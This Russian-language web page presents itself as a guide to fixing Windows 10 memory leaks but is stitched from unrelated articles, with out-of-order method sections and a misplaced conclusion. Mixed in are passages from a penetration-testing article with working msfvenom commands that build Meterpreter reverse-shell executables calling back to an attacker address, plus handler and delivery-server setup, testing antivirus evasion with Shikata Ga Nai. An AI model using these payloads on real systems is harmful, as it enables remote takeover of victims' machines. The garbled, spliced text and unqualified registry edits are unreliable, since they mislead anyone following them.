ИСПРАВЛЕНИЕ: утечки памяти в Windows 10 [Полное руководство]

Что делать если растет невыгружаемый пул в оперативной памяти Windows 10 и занимает почти всю доступную RAM. Способы исправить проблему.

Куда утекает «оперативка»?

Любое приложение, игра потребляют ресурсы компьютера — нагружают процессор, обращаются к дискам, занимают определенное место в оперативной памяти. Это нормальное явление, характерное для ПК, мобильных устройств и т.д.

Но иногда после закрытия программы, она продолжает работать в фоне, не выгружается из ОЗУ полностью. Мы пытаемся запустить другую утилиту/игру, но сталкиваемся с «лагами, фризами, тормозами» из-за нехватки «оперативки».

Даже сторонние оптимизаторы не всегда способны справиться с подобными проблемами. Именно здесь стоит  начать обзор способов для устранения утечки:

  • Предварительно заходим в «Службы» — через поиск или консоль «Выполнить», вызываемую комбинацией Win + R . Вводим запрос:

services.msc

Открываем перечень служб

  • В открывшемся перечне находим элемент с названием «SysMain» (Superfetch), двойным щелчком левой кнопки мышки входим в параметры, где следует включить сервис, выбрать автоматический запуск. Если всё так и есть, значит ничего не меняем, закрываем службы:

Оптимизация оперативной памяти в Windows 10, устранение утечки ОЗУ

  • Далее — снова открываем форму «Выполнить», вводим команду:

regedit

Окно "Выполнить" с командой regedit

  • Оказываемся в редакторе реестра. Слева есть дерево папок. Нужно провести ряд манипуляций по указанным ниже путям (в конце статьи есть детальное видео):

LOCAL_MACHINE | SYSTEM | ControlSet001 | Services | Ndu

Справа редактируем ключ «Start» — удаляем его значение и вместо него указываем «4»

LOCAL_MACHINE | SYSTEM | ControlSet001 | Services | Null

Выполняем аналогичные действия.

LOCAL_MACHINE | SYSTEM | ControlSet001 | Control | Session Manager | Memory Management

В правой части окна находим «NonPagedPoolSize», в окне свойств указываем десятичную систему и прописываем значение «192».

  • Закрываем редактор реестра и перезагружаем компьютер.

Проблема с утечкой оперативной памяти должна быть устранена.

Дополнительно рекомендуем использовать бесплатный софт

MemReduct

для автоматической очистки ненужных процессов, потребляющих ОЗУ в фоновом режиме.

Нередко причиной дефекта является вредоносное программное обеспечение, вирусы. Чтобы устранить этот фактор — запускаем глубокое (полное) сканирование в установленном антивирусе. Защитника Windows 10 будет вполне достаточно для изолирования всех современных угроз:

Оптимизация оперативной памяти в Windows 10, устранение утечки ОЗУ

Установка последних версий драйверов сетевых адаптеров

Попробуйте скачать и установить последние версии драйверов ваших сетевых адаптеров с сайта производителя.

В том случае, если у вас включено автоматическое обновление драйверов, убедитесь не начались ли проблемы после установки новых драйверов. Попробуйте откатить версию драйвера на более старую и проверить, воспроизводится ли проблема. Если проблема решилась, отключите автообновление драйверов.

Верните мой 97-й

Незаконный захват оперативной памяти приложениями – прямое следствие технологического прогресса. Вычислительных ресурсов, спасибо закону Мура, становится больше (да и цена их падает год от года), а стоимость работы высококвалифицированного специалиста, увы (и вновь к счастью для нас, IT’шников), следует обратной динамике. Приложения обрастают новыми возможностями, для быстрой разработки вводятся очередные слои абстракций… Двадцать лет назад код был куда ближе к «железу», нежели сейчас. Огромное число прослоек и промежуточных технологий – одно из многих зол, приводящих к плачевной ситуации. 15 мегабайт оперативной памяти для (!) калькулятора. Кошмар!

87wgjnniziupxkuuzz84qgwf6ho.png

И ладно бы ситуация улучшалась, так нет: разработчики берут старые инструменты, придумывают еще более простые и многофункциональные новые, проходит несколько лет и цикл повторяется. Подумать только, недавно мы радовались CSS 3.0 и скругленным уголкам простым свойством объекта, затем Bootstrap’у, сейчас – очередной надстройке-комбайну. Write less, do more во все поля.

Способ 1: Очистка кэша ОЗУ

Как известно, в оперативную память загружаются данные приложений, что позволяет ускорить их запуск и выполнение каких-либо операций. Информация, которая считается устаревшей, выгружается или перезаписывается автоматически, однако это происходит не всегда, что напрямую влияет на быстродействие и загруженность RAM. Мы советуем время от времени очищать кэш самостоятельно и проверять, как это скажется на работе Windows 10.

Очистка кэша для оптимизации оперативной памяти в Windows 10

Подробнее: Очистка кэша оперативной памяти в Windows 10

Shikata Ga Nai

Од­на из основных тех­ник Metasploit — это схе­ма кодиро­вания полез­ной наг­рузки Shikata Ga Nai (наз­вание перево­дит­ся с япон­ско­го как «ничего не подела­ешь»). Работа­ет она за счет SGN, уни­каль­ного «полимор­фно­го адди­тив­ного энко­дера XOR». Бла­года­ря ему каж­дый раз, ког­да ты кодиру­ешь шелл‑код, это будет про­исхо­дить по‑дру­гому, от чего наг­рузка ста­новит­ся для анти­виру­са безопас­ной на вид.

В SGN реали­зова­ны: динами­чес­кая замена команд, динами­чес­кое упо­рядо­чение бло­ков, слу­чай­ный обмен регис­тра­ми, ран­домиза­ция поряд­ка команд, встав­ка ненуж­ного кода, исполь­зование слу­чай­ного клю­ча и ран­домиза­ция рас­сто­яния меж­ду коман­дами.

При всех плю­сах тех­ника кодиро­вания Shikata Ga Nai не всег­да быва­ет эффектив­ной на пос­ледних вер­сиях Windows.

Теги: 

Заметили ошибку? Выделите ее мышкой и нажмите Ctrl+Enter!

Объем оперативной памяти и количество запущенных приложений

Первая и вторая причина, думаю, не требуют особых комментарий и тесно связаны между собой. Решение – увеличить размер RAM на компьютере, купив дополнительную планку памяти (на современной системе для комфортной работы не должно быть менее 4 Гб оперативной памяти) и/или закрывать неиспользуемые ресурсоёмкие приложения (сколько памяти потребляет тот или иной процесс/программа можно с помощью диспетчера задач).

Способы настройки отображения всей ОЗУ на Windows 10

Если вы столкнулись с ситуацией, когда доступна не вся оперативная память на Windows 10 и при этом модули вы не меняли местами, стоит выполнить следующие действия:

  • Жмём «Win+R» и вводим «msconfig».
Почему на Windows 10 доступна не вся оперативная память?
  • Откроется окно «Конфигурации системы». Переходим во вкладку «Загрузка». Нажимаем на кнопку «Дополнительные параметры».
Почему на Windows 10 доступна не вся оперативная память?
  • Откроется небольшое окно. Здесь нужно снять отметку «Максимум памяти».
Почему на Windows 10 доступна не вся оперативная память?
  • После сохранения изменений нужно перезагрузить компьютер и посмотреть, сколько используется памяти.

Если Windows 10 не видит полного объема ОЗУ, стоит изъять планки со слотов и поменять их местами. Также рекомендуем почистить контакты модулей оперативной памяти. Для этого стоит взять канцелярскую резинку и аккуратно стереть загрязнения с контактов.

Почему на Windows 10 доступна не вся оперативная память?

Если модули вы вставите неправильно, при загрузке ПК пройдет пост. Необходимо будет вернуть модули на свои места и повторно запустить компьютер. После загрузки Windows 10 32 бит нужно скачать программу MemTest86 и проверить работоспособность ОЗУ.

Если с модулями все в порядке, однако Виндовс не видит всю оперативную память, возможно, у вас используется старая версия прошивки материнской платы и необходимо обновить BIOS, а также проверить некоторые его параметры.

  • Первый параметр BIOS, который отвечает за стабильную работу ОЗУ – это перераспределение памяти. В различных версиях прошивки этот раздел может именоваться по-разному (Memory Hole Remapping, H/W DRAM Over 4GB Remapping, Hardware Memory Hole). Поэтому стоит детально изучить инструкцию к плате или найти описание к версии используемого БИОСа.

Функция перераспределения памяти переносит блоки адресов, используемые картами расширения, в адресное пространство за 4-м Гб. Таким образом, удается увеличить объем оперативной памяти (в противном случае Windows10 будет видеть 3-3.5 Гб). Для полноценной поддержки такого объема необходимо использование 64-х разрядных процессоров и 64-х разрядных версий ОС (либо серверных версий 32-х разрядных операционных систем, допускающих расширение физических адресов PAE). При меньшем объеме оперативной памяти обязательно выключите эту опцию (Disabled), так как могут возникнуть неполадки в работе ОЗУ. Включение перераспределение памяти – значение Enabled.

Почему на Windows 10 доступна не вся оперативная память?
  • Параметры памяти для видеоапертуры AGP – это объем памяти, который система делит с видеоадаптером. Он необходим для отображения текстур и отрисовки картинки. Данный объем памяти может не использоваться системой, если он заблокирован видеоадаптером. Способ, как включить его один: загружаемся в БИОС, выбираем AGP Aperture size. Стандартные значения: 32 МБ, 64 МБ, 128 МБ и Auto (Автоматически). Смотрим сколько памяти у видеокарты и по значению задаем нужное. Зачастую это 128 Мб. Однако можно попробовать применить каждый из параметров, чтобы посмотреть, какой из них даст лучший результат.
Почему на Windows 10 доступна не вся оперативная память?

После внесения всех изменений в настройки BIOS нужно загрузиться в Windows и проверить, видный ли весь объем ОЗУ. Если система до сих пор не видит оперативную память, стоит попробовать вставить другие модули в слот. Возможно, старые планки ОЗУ вышли из строя или имеют дефекты.

О том, почему система не видит всей оперативной памяти и как это исправить, смотрите в видео:

Комфортабельные троллейбусы из хлеба

Современные браузеры – это не только ценный гипертекст, но и три-четыре десятка полезных фич. Воспроизведение видео, работа с документами, и другие расширения – почти что операционка в миниатюре. С кучей собственных модулей от разных разработчиков, и всё это соединено кое-как. Работает зачастую так же. Миллион открытых вкладок, сложная вёрстка, фреймворк на фреймворке – одни из основных генераторов утечек.

Как бороться? Поставить какой-нибудь блокировщик рекламы и экстеншн типа The Great Suspender, который выгружает из памяти неиспользуемые страницы и сохраняет во вкладке «минимум» – удобно и эффективно снижает фоновый отжор памяти.

koxzp8qks6jomnc5ne1vbfda8_o.png

Определение проблемы

Да­вай про­верим Shikata Ga Nai на прак­тике и узна­ем, дей­стви­тель­но ли его популяр­ность при­вела к тому, что SGN отлавли­вают анти­виру­сы. В качес­тве жер­твы я буду исполь­зовать свой ноут­бук с пос­ледней вер­сией Windows 10 со все­ми уста­нов­ленны­ми обновле­ниями (Build 19042).

Ге­нери­ровать шелл‑код я буду с помощью MSFvenom. В качес­тве слу­шате­ля выс­тупит Kali Linux 2020.4 пос­ледней вер­сии с уста­нов­ленным Metasploit 6.0.18-dev.

Для начала сге­нери­руем стан­дар­тную наг­рузку без SGN:

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.0.180 LPORT=4433 -f exe > clean_shell.exe

Payload size: 354 bytes
Final size of exe file: 73802 bytes

На Kali под­нимем handler. На интерфей­се eth1 IP-адрес 10.10.0.180:

$ msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost eth1
set lport 4433

Про­буем для начала передать файл, ска­чав его с помощью Google Chrome. Для это­го под­нимаю HTTP-сер­вер с помощью модуля для вто­рой вер­сии Python:

$ python m SimpleHTTPServer

Про­бую ска­чать наш шелл по адре­су http://10.10.0.180:8000/clean_shell.exe.

Очевидно, что файл заблокировал Google ChromeОче­вид­но, что файл заб­локиро­вал Google Chrome

Да­вай поп­робу­ем открыть файл. На этой машине с Windows 10 у меня уста­нов­лена под­систе­ма Linux (WSL). Ска­чаем этот файл в тер­минале с помощью wget и поп­робу­ем запус­тить.

При попытке открыть нас ждет предупреждение и файл удаляетсяПри попыт­ке открыть нас ждет пре­дуп­режде­ние и файл уда­ляет­ся

Файл Meterpreter был уда­лен даже без обра­щения к нему. Нуж­но лишь ска­чать и подож­дать око­ло минуты. Какая вни­матель­ная Windows! ?

Автоматическое удаление файла с MeterpreterАв­томати­чес­кое уда­ление фай­ла с Meterpreter

Тем вре­менем на машине с Kali тишина и слы­шен звук свер­чков. Поп­робу­ем теперь тех­нику кодиро­вания Shikata Ga Nai. Соз­даем новый пей­лоад в MSFvenom. На машине с Kali по‑преж­нему висит в ожи­дании handler.

До­бавим к опци­ям -e x86/shikata_ga_nai -b ‘x00’ -i 20, то есть исполь­зуем SGN в 20 ите­раций с уда­лени­ем пло­хого сим­вола x00.

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.0.180 LPORT=4433 -e x86/shikata_ga_nai -b x00 -i 20 -f exe > sgn_20_shell.exe

Found 1 compatible encoders
Attempting to encode payload with 20 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)

x86/shikata_ga_nai succeeded with size 894 (iteration=19)
x86/shikata_ga_nai chosen with final size 894
Payload size: 894 bytes
Final size of exe file: 73802 bytes

Про­буем заг­рузить с помощью Google Chrome: http://10.10.0.180:8000/sgn_20_shell.exe.

SGN не помог обойти антивирусSGN не помог обой­ти анти­вирус

Сно­ва неуда­ча. Пос­ле ска­чива­ния с помощью Wget и запус­ка нас ждет такая же исто­рия, как и в прош­лый раз, — с пос­леду­ющим уда­лени­ем вре­доно­са. Какой мож­но сде­лать вывод? Пра­виль­но, на новых вер­сиях Windows 10 Shikata Ga Nai бес­полезен.

info

C сен­тября 2020 года ком­пания Google вве­ла Advanced Protection Program для высоко­рис­ковых поль­зовате­лей, таких как полити­ки и жур­налис­ты. Заг­ружа­емые учас­тни­ками этой прог­раммы фай­лы могут сна­чала прой­ти про­вер­ку на сер­верах Google, а лишь потом попасть к поль­зовате­лю.

Так про­исхо­дит потому, что при запус­ке исполня­емо­го фай­ла и перед заг­рузкой его в память сис­тема пыта­ется най­ти сиг­натуры, при­над­лежащие вре­донос­ному ПО. В нашем слу­чае такие сиг­натуры были най­дены и обна­руже­ны. Поэто­му Windows 10 не раз­решила запуск. Даже SGN не помог. Сам по себе полимор­физм в нем неп­лох, но сле­пок ста­ба это­го энко­дера уже дав­но изу­чен.

Проблемы кэширования ресурсов

Этим страдают в большинстве своём игры-песочницы, как стационарные, так и запускаемые внутри браузера: Factorio, Rim World, Minecraft с кучей модов… При определённом стечении обстоятельств (например, оставили производство на ночь, чтобы игра зарабатывала, пока вы спите) можно проснуться с наглухо повисшим компьютером. Ну или очень медленно работающим. При этом в плане оперативной памяти всё будет «ок» – сколько потребляла игра, столько и потребляет.

mtsvvihfceoln-zlg7lddmpp4ni.jpeg

В 90% случаев такого поведения у пользователей установлен SSD и включены одновременно файл подкачки и режим гибернации. Игра сбрасывает неиспользуемые ресурсы из оперативки в своп, «Винда» кэширует их и сохраняет на случай ухода в сон, далее графика используется повторно и вновь откладывается в «долгий ящик». Вот только старые копии никуда не удаляются – спустя несколько часов, в зависимости от объёма накопителя, свободное место на нём заканчивается, система падает до перезагрузки и очистки временных файлов. Не пытайся игра «оптимизировать» расход оперативной памяти, выгружая и вновь подкачивая ресурсы – текла бы как обычно, с постепенным замедлением работы и последующим крашем.

mboqiouwq5xves1o6m3xodwrjui.png

Варианты решения: проверка гипотезы какой-нибудь утилитой типа TreeSize, удаление накопленных мусорных asset’ов, перенос подкачки на объёмный HDD или отключение гибернации в Windows 10, написание багрепорта на форум, ожидание патча.

Способ 6: Отключение открытия приложений после перезапуска

По умолчанию в Windows 10 активирована функция, автоматически запускающая незакрытые программы при перезагрузке или обновлении системы. Далеко не всем эта опция требуется, поэтому ее можно отключить, чтобы разгрузить оперативную память, ведь теперь кэш сохраняться не будет. Делается это буквально в несколько нажатий.

  1. Откройте «Пуск» и перейдите в «Параметры».

Переход в Параметры Windows 10 для отключения восстановления приложений

Здесь выберите раздел «Учетные записи».

Переход в настройкам входа для отключения восстановления приложений в Windows 10

Переместитесь к категории «Варианты входа».

Переход к разделу настройки восстановления приложений в Windows 10

Отыщите необходимый параметр в «Конфиденциальность» и деактивируйте его, передвинув ползунок.

Отключение восстановления приложений при перезагрузке Windows 10

Отныне все те приложения, которые оставались открытыми на момент перезагрузки, не будут восстанавливать свою работу, поэтому учитывайте данную особенность при последующем взаимодействии с устройством.

У разработчика лапки

Иногда утечки – это просто утечки. Фотошоп любит и умеет отжирать большие объёмы памяти, особенно сразу после выхода нового номерного релиза. Благо в самом приложении есть инструмент ограничения доступного объёма оперативки (не стоит выделять больше 66%), назначения кэширующих дисков и всего такого. В качестве альтернативы можно подождать полгода и дождаться стабильной версии. Киллерфичи редко бывают настолько нужны, чтобы мириться с багами.

ghwqjzhvewtmo6s3ep49cx_fyfm.jpeg

Торрент-клиенты. Множество одновременно установленных подключений, столько же одновременно скачиваемых файлов, проблемы с соединением – и соответствующий расход памяти. Решение – ограничение на количество исходящих соединений и скорости отдачи. Правильные коэффициенты подбираются вручную.

Софт принтеров / сканеров / камер. В анамнезе – написанный за еду индусский код: кривой, как камасутра. Медицина в этом случае бессильна – тут уж ибо использовать открытые / универсальные аналоги, либо писать багрепорты и молиться Шиве, чтоб тот покарал проклятых халтурщиков.

qi9h-4rysqr2x7qfkvyo1pdrfn0.jpeg

Майнер-малварь. Иногда утечка памяти «в никуда» – повод расчехлить антивирус. Главная защита криптовалют от «оптимизации» их добычи аппаратным методом – увеличение сложности алгоритма в направлении «нужно больше памяти для расчётов». Поэтому фоновые майнилки могут спалиться на потреблении оперативки. Причём приобщиться к числу «шахтёров» можно и незаметно для себя: чего стоит только известный скандал с

uTorrent

, «бонусом» к которому пользователи получали приложение-майнер Epic Scale. Да и один популярный

трекер

минувшей осенью засветился в фоновой добыче криптовалюты прямо в браузерах посетителей.

0aeada923f26b56ccf66fc1f24956752.jpg

Завершение

Как упоминалось ранее, Утечка памяти в Windows 10 является проблемой для отладки разработчиками программного обеспечения. Однако, как конечный пользователь, у вас должен быть запрос о как исправить утечку памяти. Следовательно, это были некоторые советы, которые вы можете применить, чтобы исправить эту проблему на вашем устройстве. Вы нашли это полезным? Расскажите в комментариях и обсудите дальше то же самое.

Способ 8: Освобождение места на жестком диске

Следующий метод лишь косвенно относится к загруженности оперативной памяти, поэтому он стоит на данной позиции. Однако пренебрегать им не стоит, ведь захламление системного раздела жесткого диска ведет к замедлению обработки информации, из-за чего снижается и быстродействие. Общие рекомендации по данной теме вы найдете в другой статье на нашем сайте, перейдя по ссылке ниже.

Очистка системного раздела жесткого диска для оптимизации оперативной памяти в Windows 10

Подробнее: Освобождаем жесткий диск в Windows 10

Понравилась статья? Поделиться с друзьями:
Добавить комментарий

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!: